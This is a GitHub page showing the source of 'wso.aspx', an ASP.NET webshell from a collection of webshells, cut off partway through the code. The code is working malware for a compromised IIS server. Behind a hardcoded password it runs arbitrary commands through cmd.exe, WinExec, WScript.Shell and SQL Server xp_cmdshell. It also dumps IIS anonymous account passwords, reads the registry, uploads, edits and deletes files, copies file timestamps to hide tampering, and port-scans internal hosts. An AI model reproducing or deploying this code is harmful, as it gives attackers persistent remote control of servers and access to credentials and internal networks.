forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwso.aspx
1689 lines (1600 loc) · 59.8 KB
/
wso.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ Page ContentType="text/html" validateRequest="false" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>
<script language="VB" runat="server">
Dim PASSWORD as string = "e8ff7d8d7a49a969a2cb8502eded9d79" ' rooot
dim url,TEMP1,TEMP2,TITLE as string
Function GetMD5(ByVal strToHash As String) As String
Dim md5Obj As New System.Security.Cryptography.MD5CryptoServiceProvider()
Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash)
bytesToHash = md5Obj.ComputeHash(bytesToHash)
Dim strResult As String = ""
Dim b As Byte
For Each b In bytesToHash
strResult += b.ToString("x2")
Next
Return strResult
End Function
Sub Login_click(sender As Object, E As EventArgs)
if GetMD5(Textbox.Text)=PASSWORD then
session("rooot")=1
session.Timeout=60
else
response.Write("<font color='red'>Your password is wrong! Maybe you press the ""Caps Lock"" buttom. Try again.</font><br>")
end if
End Sub
'Run w32 shell
Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Sub RunCmdW32(Src As Object, E As EventArgs)
dim command
dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
If Request.Form("txtCommand1") = "" Then
command = "dir c:\"
else
command = Request.Form("txtCommand1")
End If
ExecuteCommand1(command,tempFile,txtCmdFile.Text)
OutputTempFile1(tempFile,fileObject)
'txtCommand1.text=""
End Sub
Sub ExecuteCommand1(command As String, tempFile As String,cmdfile As String)
Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd, Target_copy_of_cmd
Dim objStartup, objConfig, objProcess, errReturn, intProcessID, temp_name
Dim FailIfExists
local_dir = left(request.servervariables("PATH_TRANSLATED"),inStrRev(request.servervariables("PATH_TRANSLATED"),"\"))
'local_copy_of_cmd = Local_dir+"cmd.exe"
'local_copy_of_cmd= "C:\\WINDOWS\\system32\\cmd.exe"
local_copy_of_cmd=cmdfile
Target_copy_of_cmd = Environment.GetEnvironmentVariable("Temp")+"\kiss.exe"
CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
errReturn = WinExec(Target_copy_of_cmd + " /c " + command + " > " + tempFile , 10)
response.write(errReturn)
thread.sleep(500)
End Sub
Sub OutputTempFile1(tempFile,oFileSys)
On Error Resume Next
dim oFile = oFileSys.OpenTextFile (tempFile, 1, False, 0)
resultcmdw32.text=txtCommand1.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
oFile.Close
Call oFileSys.DeleteFile(tempFile, True)
End sub
'End w32 shell
'Run WSH shell
Sub RunCmdWSH(Src As Object, E As EventArgs)
dim command
dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
dim oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
If Request.Form("txtcommand2") = "" Then
command = "dir c:\"
else
command = Request.Form("txtcommand2")
End If
ExecuteCommand2(command,tempFile)
OutputTempFile2(tempFile,fileObject)
txtCommand2.text=""
End Sub
Function ExecuteCommand2(cmd_to_execute, tempFile)
Dim oScript
oScript = Server.CreateObject("WSCRIPT.SHELL")
Call oScript.Run ("cmd.exe /c " & cmd_to_execute & " > " & tempFile, 0, True)
End function
Sub OutputTempFile2(tempFile,fileObject)
On Error Resume Next
dim oFile = fileObject.OpenTextFile (tempFile, 1, False, 0)
resultcmdwsh.text=txtCommand2.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
oFile.Close
Call fileObject.DeleteFile(tempFile, True)
End sub
'End WSH shell
'System infor
Sub output_all_environment_variables(mode)
Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
Dim de As DictionaryEntry
For Each de In environmentVariables
if mode="HTML" then
response.write("<b> " +de.Key + " </b>: " + de.Value + "<br>")
else
if mode="text"
response.write(de.Key + ": " + de.Value + vbnewline+ vbnewline)
end if
end if
Next
End sub
Sub output_all_Server_variables(mode)
dim item
for each item in request.servervariables
if mode="HTML" then
response.write("<b>" + item + "</b> : ")
response.write(request.servervariables(item))
response.write("<br>")
else
if mode="text"
response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
end if
end if
next
End sub
'End sysinfor
Function Server_variables() As String
dim item
dim tmp As String
tmp=""
for each item in request.ServerVariables
if request.servervariables(item) <> ""
'response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
tmp =+ item.ToString + " : " + request.servervariables(item).ToString + "\n\r"
end if
next
return tmp
End function
'Begin List processes
Function output_wmi_function_data(Wmi_Function,Fields_to_Show)
dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
dim fields_split, fields_item,i
'on error resume next
table("0","","")
Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
fields_split = split(Fields_to_Show,",")
for each item in objProcessInfo
tr
Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
if Ubound(Fields_split)>0 then
for i = 1 to ubound(fields_split)
Surround_by_TD(center_(item.properties_.item(fields_split(i)).value))
next
end if
_tr
next
End function
Function output_wmi_function_data_instances(Wmi_Function,Fields_to_Show,MaxCount)
dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
dim fields_split, fields_item,i,count
newline
rw("Showing the first " + cstr(MaxCount) + " Entries")
newline
newline
table("1","","")
Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
_table
winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
' objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
objProcessInfo = winObj.InstancesOf(Wmi_Function)
fields_split = split(Fields_to_Show,",")
count = 0
for each item in objProcessInfo
count = Count + 1
table("1","","")
tr
Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
if Ubound(Fields_split)>0 then
for i = 1 to ubound(fields_split)
Surround_by_TD(item.properties_.item(fields_split(i)).value)
next
end if
_tr
if count > MaxCount then exit for
next
End function
'End List processes
'Begin IIS_list_Anon_Name_Pass
Sub IIS_list_Anon_Name_Pass()
Dim IIsComputerObj, iFlags ,providerObj ,nodeObj ,item, IP
IIsComputerObj = CreateObject("WbemScripting.SWbemLocator") ' Create an instance of the IIsComputer object
providerObj = IIsComputerObj.ConnectServer("127.0.0.1", "root/microsoftIISv2")
nodeObj = providerObj.InstancesOf("IIsWebVirtualDirSetting") ' - IISwebServerSetting
Dim MaxCount = 20,Count = 0
hr
RW("only showing the first "+cstr(MaxCount) + " items")
hr
for each item in nodeObj
response.write("<b>" + item.AppFriendlyName + " </b> - ")
response.write("(" + item.AppPoolId + ") ")
response.write(item.AnonymousUserName + " : ")
response.write(item.AnonymousUserPass)
response.write("<br>")
response.flush
Count = Count +1
If Count > MaxCount then exit for
next
hr
End sub
'End IIS_list_Anon_Name_Pass
Private Function CheckIsNumber(ByVal sSrc As String) As Boolean
Dim reg As New System.Text.RegularExpressions.Regex("^0|[0-9]*[1-9][0-9]*$")
If reg.IsMatch(sSrc) Then
Return True
Else
Return False
End If
End Function
Public Function IISSpy() As String
Dim iisinfo As String = ""
Dim iisstart As String = ""
Dim iisend As String = ""
Dim iisstr As String = "IIS://localhost/W3SVC"
Dim i As Integer = 0
Try
Dim mydir As New DirectoryEntry(iisstr)
iisstart = "<TABLE width=100% align=center border=0><TR align=center><TD width=5%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=20%><B>App_Pool_Id</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>"
For Each child As DirectoryEntry In mydir.Children
If CheckIsNumber(child.Name.ToString()) Then
Dim dirstr As String = child.Name.ToString()
Dim tmpstr As String = ""
Dim newdir As New DirectoryEntry(iisstr + "/" + dirstr)
Dim newdir1 As DirectoryEntry = newdir.Children.Find("root", "IIsWebVirtualDir")
i = i + 1
iisinfo += "<TR><TD align=center>" + i.ToString() + "</TD>"
iisinfo += "<TD align=center>" + newdir1.Properties("AnonymousUserName").Value.ToString() + "</TD>"
iisinfo += "<TD align=center>" + newdir1.Properties("AppPoolId").Value.ToString() + "</TD>"
iisinfo += "<TD>" + child.Properties("ServerBindings")(0) + "</TD>"
iisinfo += "<TD><a href="+Request.ServerVariables("PATH_INFO")+ "?action=goto&src=" + newdir1.Properties("Path").Value.ToString() + "\>" + newdir1.Properties("Path").Value + "\</a></TD>"
iisinfo += "</TR>"
End If
Next
iisend = "</TABLE>"
Catch ex As Exception
Return ex.Message
End Try
Return iisstart + iisinfo + iisend
End Function
Sub RegistryRead(Src As Object, E As EventArgs)
Try
Dim regkey As String = txtRegKey.Text
Dim subkey As String = regkey.Substring(regkey.IndexOf("\") + 1, regkey.Length - regkey.IndexOf("\") - 1)
Dim rk As RegistryKey = Nothing
Dim buffer As Object
Dim regstr As String = ""
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_LOCAL_MACHINE" Then
rk = Registry.LocalMachine.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CLASSES_ROOT" Then
rk = Registry.ClassesRoot.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_USER" Then
rk = Registry.CurrentUser.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_USERS" Then
rk = Registry.Users.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_CONFIG" Then
rk = Registry.CurrentConfig.OpenSubKey(subkey)
End If
buffer = rk.GetValue(txtRegValue.Text, "NULL")
dim tmpbyte As Byte = 0
lblresultReg.Text = "<br>Result : " + buffer.ToString()
Catch ex As Exception
Response.write(ex.Message)
End Try
End Sub
' Begin List Web Site Home Directory Properties
' End List Web Site Home Directory Properties
Sub RunCMD(Src As Object, E As EventArgs)
Try
Dim kProcess As New Process()
Dim kProcessStartInfo As New ProcessStartInfo("cmd.exe")
kProcessStartInfo.UseShellExecute = False
kProcessStartInfo.RedirectStandardOutput = true
kProcess.StartInfo = kProcessStartInfo
kProcessStartInfo.Arguments="/c " & Cmd.text
kProcess.Start()
Dim myStreamReader As StreamReader = kProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
kProcess.Close()
result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
Cmd.text=""
Catch
result.text="This function has disabled!"
End Try
End Sub
Sub CloneTime(Src As Object, E As EventArgs)
existdir(time1.Text)
existdir(time2.Text)
Dim thisfile As FileInfo =New FileInfo(time1.Text)
Dim thatfile As FileInfo =New FileInfo(time2.Text)
thisfile.LastWriteTime = thatfile.LastWriteTime
thisfile.LastAccessTime = thatfile.LastAccessTime
thisfile.CreationTime = thatfile.CreationTime
response.Write("<font color=""red"">Clone Time Success!</font>")
End Sub
sub Editor(Src As Object, E As EventArgs)
dim mywrite as new streamwriter(filepath.text,false,encoding.default)
mywrite.write(content.text)
mywrite.close
response.Write("<script>alert('Edit|Creat " & replace(filepath.text,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(filepath.text)) &"'</sc" & "ript>")
end sub
Sub UpLoad(Src As Object, E As EventArgs)
dim filename,loadpath as string
filename=path.getfilename(UpFile.value)
loadpath=request.QueryString("src") & filename
if file.exists(loadpath)=true then
response.Write("<script>alert('File " & replace(loadpath,"\","\\") & " have existed , upload fail!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(request.QueryString("src")) &"'</sc" & "ript>")
response.End()
end if
UpFile.postedfile.saveas(loadpath)
response.Write("<script>alert('File " & filename & " upload success!\nFile info:\n\nClient Path:" & replace(UpFile.value,"\","\\") & "\nFile Size:" & UpFile.postedfile.contentlength & " bytes\nSave Path:" & replace(loadpath,"\","\\") & "\n');")
response.Write("location.href='" & request.ServerVariables("URL") & "?action=goto&src=" & server.UrlEncode(request.QueryString("src")) & "'</sc" & "ript>")
End Sub
Sub NewFD(Src As Object, E As EventArgs)
url=request.form("src")
if NewFile.Checked = True then
dim mywrite as new streamwriter(url & NewName.Text,false,encoding.default)
mywrite.close
response.Redirect(request.ServerVariables("URL") & "?action=edit&src=" & server.UrlEncode(url & NewName.Text))
else
directory.createdirectory(url & NewName.Text)
response.Write("<script>alert('Creat directory " & replace(url & NewName.Text ,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</sc" & "ript>")
end if
End Sub
Sub del(a)
if right(a,1)="\" then
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(a)
dim xfile as fileinfo
for each xfile in mydir.getfiles()
file.delete(a & xfile.name)
next
for each xdir in mydir.getdirectories()
call del(a & xdir.name & "\")
next
directory.delete(a)
else
file.delete(a)
end if
End Sub
Sub copydir(a,b)
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(a)
dim xfile as fileinfo
for each xfile in mydir.getfiles()
file.copy(a & "\" & xfile.name,b & xfile.name)
next
for each xdir in mydir.getdirectories()
directory.createdirectory(b & path.getfilename(a & xdir.name))
call copydir(a & xdir.name & "\",b & xdir.name & "\")
next
End Sub
Sub xexistdir(temp,ow)
if directory.exists(temp)=true or file.exists(temp)=true then
if ow=0 then
response.Redirect(request.ServerVariables("URL") & "?action=samename&src=" & server.UrlEncode(url))
elseif ow=1 then
del(temp)
else
dim d as string = session("cutboard")
if right(d,1)="\" then
TEMP1=url & second(now) & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
else
TEMP2=url & second(now) & replace(path.getfilename(d),"","")
end if
end if
end if
End Sub
Sub existdir(temp)
if file.exists(temp)=false and directory.exists(temp)=false then
response.Write("<script>alert('Don\'t exist " & replace(temp,"\","\\") &" ! Is it a CD-ROM ?');</sc" & "ript>")
response.Write("<br><br><a href='javascript:history.back(1);'>Click Here Back</a>")
response.End()
end if
End Sub
Sub RunSQLCMD(Src As Object, E As EventArgs)
Dim adoConn,strQuery,recResult,strResult
if SqlName.Text<>"" then
adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open("Provider=SQLOLEDB.1;Password=" & SqlPass.Text & ";UID=" & SqlName.Text & ";Data Source = " & ip.Text)
If Sqlcmd.Text<>"" Then
strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0).value
recResult.MoveNext
Loop
End if
recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
SqlCMD.Text=""
End if
adoConn.Close
End if
End Sub
Sub RunSQLQUERY(Src As Object, E As EventArgs)
Dim adoConn,strQuery,recResult,strResult
if txtSqlName.Text<>"" then
adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open("Provider=SQLOLEDB.1;Password=" & txtSqlPass.Text & ";UID=" & txtSqlName.Text & ";Data Source = " & txtHost.Text)
If txtSqlcmd.Text<>"" Then
strQuery = txtSqlcmd.Text
recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0).value
recResult.MoveNext
Loop
End if
recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
lblresultSQL.Text=txtSqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
txtSqlCMD.Text=""
End if
adoConn.Close
End if
End Sub
Function GetStartedTime(ms)
GetStartedTime=cint(ms/(1000*60*60))
End function
Function getIP()
Dim strIPAddr as string
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
getIP = Trim(Mid(strIPAddr, 1, 30))
End Function
Function Getparentdir(nowdir)
dim temp,k as integer
temp=1
k=0
if len(nowdir)>4 then
nowdir=left(nowdir,len(nowdir)-1)
end if
do while temp<>0
k=temp+1
temp=instr(temp,nowdir,"\")
if temp =0 then
exit do
end if
temp = temp+1
loop
if k<>2 then
getparentdir=mid(nowdir,1,k-2)
else
getparentdir=nowdir
end if
End function
Function Rename()
url=request.QueryString("src")
if file.exists(Getparentdir(url) & request.Form("name")) then
rename=0
else
file.copy(url,Getparentdir(url) & request.Form("name"))
del(url)
rename=1
end if
End Function
Function GetSize(temp)
if temp < 1024 then
GetSize=temp & " bytes"
else
if temp\1024 < 1024 then
GetSize=temp\1024 & " KB"
else
if temp\1024\1024 < 1024 then
GetSize=temp\1024\1024 & " MB"
else
GetSize=temp\1024\1024\1024 & " GB"
end if
end if
end if
End Function
Sub downTheFile(thePath)
dim stream
stream=server.createObject("adodb.stream")
stream.open
stream.type=1
stream.loadFromFile(thePath)
response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
response.addHeader("Content-Length",stream.Size)
response.charset="UTF-8"
response.contentType="application/octet-stream"
response.binaryWrite(stream.read)
response.flush
stream.close
stream=nothing
response.End()
End Sub
'H T M L S N I P P E T S
public sub Newline
response.write("<BR>")
end sub
public sub TextNewline
response.write(vbnewline)
end sub
public sub rw(text_to_print) ' Response.write
response.write(text_to_print)
end sub
public sub rw_b(text_to_print)
rw("<b>"+text_to_print+"</b>")
end sub
public sub hr()
rw("<hr>")
end sub
public sub ul()
rw("<ul>")
end sub
public sub _ul()
rw("</ul>")
end sub
public sub table(border_size,width,height)
rw("<table border='"+cstr(border_size)+"' width ='"+cstr(width)+"' height='"+cstr(height)+"'>")
end sub
public sub _table()
rw("</table>")
end sub
public sub tr()
rw("<tr>")
end sub
public sub _tr()
rw("</tr>")
end sub
public sub td()
rw("<td>")
end sub
public sub _td()
rw("</td>")
end sub
public sub td_span(align,name,contents)
rw("<td align="+align+"><span id='"+name+"'>"+ contents + "</span></td>")
end sub
Public sub td_link(align,title,link,target)
rw("<td align="+align+"><a href='"+link+"' target='"+target+"'>"+title+"</a></td>")
end sub
Public sub link(title,link,target)
rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
end sub
Public sub link_hr(title,link,target)
rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
hr
end sub
Public sub link_newline(title,link,target)
rw("<a href='"+link+"' target='"+target+"'>"+title+"</a>")
newline
end sub
public sub empty_Cell(ColSpan)
rw("<td colspan='"+cstr(colspan)+"'></td>")
end sub
public sub empty_row(ColSpan)
rw("<tr><td colspan='"+cstr(colspan)+"'></td></tr>")
end sub
Public sub Create_table_row_with_supplied_colors(bgColor, fontColor, alignValue, rowItems)
dim rowItem
rowItems = split(rowItems,",")
response.write("<tr bgcolor="+bgcolor+">")
for each rowItem in RowItems
response.write("<td align="+alignValue+"><font color="+fontColor+"><b>"+rowItem +"<b></font></td>")
next
response.write("</tr>")
end sub
Public sub TR_TD(cellContents)
response.write("<td>")
response.write(cellContents)
response.write("</td>")
end sub
Public sub Surround_by_TD(cellContents)
response.write("<td>")
response.write(cellContents)
response.write("</td>")
end sub
Public sub Surround_by_TD_and_Bold(cellContents)
response.write("<td><b>")
response.write(cellContents)
response.write("</b></td>")
end sub
Public sub Surround_by_TD_with_supplied_colors_and_bold(bgColor, fontColor, alignValue, cellContents)
response.write("<td align="+alignValue+" bgcolor="+bgcolor+" ><font color="+fontColor+"><b>")
response.write(cellContents)
response.write("</b></font></td>")
end sub
Public sub Create_background_Div_table(title,main_cell_contents,top,left,width,height,z_index)
response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
response.write(" <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='100%' id='AutoNumber1' height='100%'>")
response.write(" <tr heigth=20>")
response.write(" <td bgcolor='black' align=center><font color='white'><b>"+ title +"</b></font></td>")
response.write(" </tr>")
response.write(" <tr>")
response.write(" <td>"+main_Cell_contents+"</td>")
response.write(" </tr>")
response.write(" </table>")
response.write("</div>")
end sub
Public sub Create_Div_open(top,left,width,height,z_index)
response.write("<div style='position: absolute; top: " + top + "; left: " + left + "; width: "+width+"; height: "+height+"; z-index: "+z_index+"'>")
end sub
Public sub Create_Div_close()
response.write("</div>")
end sub
public sub Create_Iframe(left, top, width, height, name,src)
rw("<span style='position: absolute; left: " + left+ "; top: " +top + "'>")
rw(" <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
rw("</span>")
end sub
public sub Create_Iframe_relative(width, height, name,src)
rw(" <iframe name='" + name+ "' src='" + src+ "' width='" + cstr(width) + "' height='" + cstr(height) + "'></iframe>")
end sub
public sub return_100_percent_table()
rw("<table border width='100%' height='100%'><tr><td>sdf</td></tr></table>")
end sub
public sub font_size(size)
rw("<font size="+size+">")
end sub
public sub end_font()
rw("</font>")
end sub
public sub red(contents)
rw("<font color=red>"+contents+"</font>")
end sub
public sub yellow(contents)
rw("<font color='#FF8800'>"+contents+"</font>")
end sub
public sub green(contents)
rw("<font color=green>"+contents+"</font>")
end sub
public sub print_var(var_name, var_value,var_description)
if var_description<> "" Then
rw(b_(var_name)+" : " + var_value + i_(" ("+var_description+")"))
else
rw(b_(var_name)+" : " + var_value)
end if
newline
end sub
' Functions
public function br_()
br_ = "<br>"
end function
public function b_(contents)
b_ = "<b>"+ contents + "</b>"
end function
public function i_(contents)
i_ = "<i>"+ contents + "</i>"
end function
public function li_(contents)
li_ = "<li>"+ contents + "</li>"
end function
public function h1_(contents)
h1_ = "<h1>"+ contents + "</h1>"
end function
public function h2_(contents)
h2_ = "<h2>"+ contents + "</h2>"
end function
public function h3_(contents)
h3_ = "<h3>"+ contents + "</h3>"
end function
public function big_(contents)
big_ = "<big>"+ contents + "</big>"
end function
public function center_(contents)
center_ = "<center>"+ cstr(contents) + "</center>"
end function
public function td_force_width_(width)
td_force_width_ = "<br><img src='' height=0 width=" + cstr(width) + " border=0>"
end function
public function red_(contents)
red_ = "<font color=red>"+contents+"</font>"
end function
public function yellow_(contents)
yellow_ = "<font color='#FF8800'>"+contents+"</font>"
end function
public function green_(contents)
green_ = "<font color=green>"+contents+"</font>"
end function
Public function link_(title,link,target)
link_ = "<a href='"+link+"' target='"+target+"'>"+title+"</a>"
end function
'End HTML SNIPPETS
'Begin Scanner
Public Class Scanner
Public Ips As New ArrayList()
Public ports As New ArrayList()
Public succMsg As New StringBuilder()
Public ret As ListBox
Public errMsg As String = ""
Public Timeout As Integer = 3000
Public Sub start()
Dim thread As New Thread(New ThreadStart(AddressOf Me.run))
thread.Start()
thread = Nothing
End Sub
Public Sub run()
ret.Items.Clear()
For Each ip As String In Ips
For Each port As String In ports
'ret.Items.Add(ip + ":" + port);
Dim scanres As String = ""
Try
Dim tcpClient As New TcpClient()
Try
tcpClient.Connect(ip, Int32.Parse(port))
tcpClient.Close()
ret.Items.Add(ip + " : " + port + " ................................. Open")
Catch e As SocketException
ret.Items.Add(ip + " : " + port + " ................................. Close")
End Try
tcpClient.Close()
Catch exp As SocketException
errMsg = "ErrorCode : " + exp.ErrorCode.ToString() + " : " + exp.Message
End Try
Next
Next
End Sub
End Class
Public Function MakeIps(ByVal StartIp As String, ByVal EndIP As String) As ArrayList
Dim IpList As New ArrayList()
Dim IpParts1 As String() = New String(3) {}
Dim IpParts2 As String() = New String(3) {}
IpParts1 = StartIp.Split("."C)
IpParts2 = EndIP.Split("."C)
Dim nTime As Integer = (Int32.Parse(IpParts2(0)) - Int32.Parse(IpParts1(0))) * 254 * 254 * 254 + (Int32.Parse(IpParts2(1)) - Int32.Parse(IpParts1(1))) * 254 * 254 + (Int32.Parse(IpParts2(2)) - Int32.Parse(IpParts1(2))) * 254 + (Int32.Parse(IpParts2(3)) - Int32.Parse(IpParts1(3))) + 1
If nTime < 0 Then
Response.Write("IP Address Error.Check" & Chr(13) & "" & Chr(10) & "")
Return Nothing
End If
For n As Integer = 0 To nTime - 1
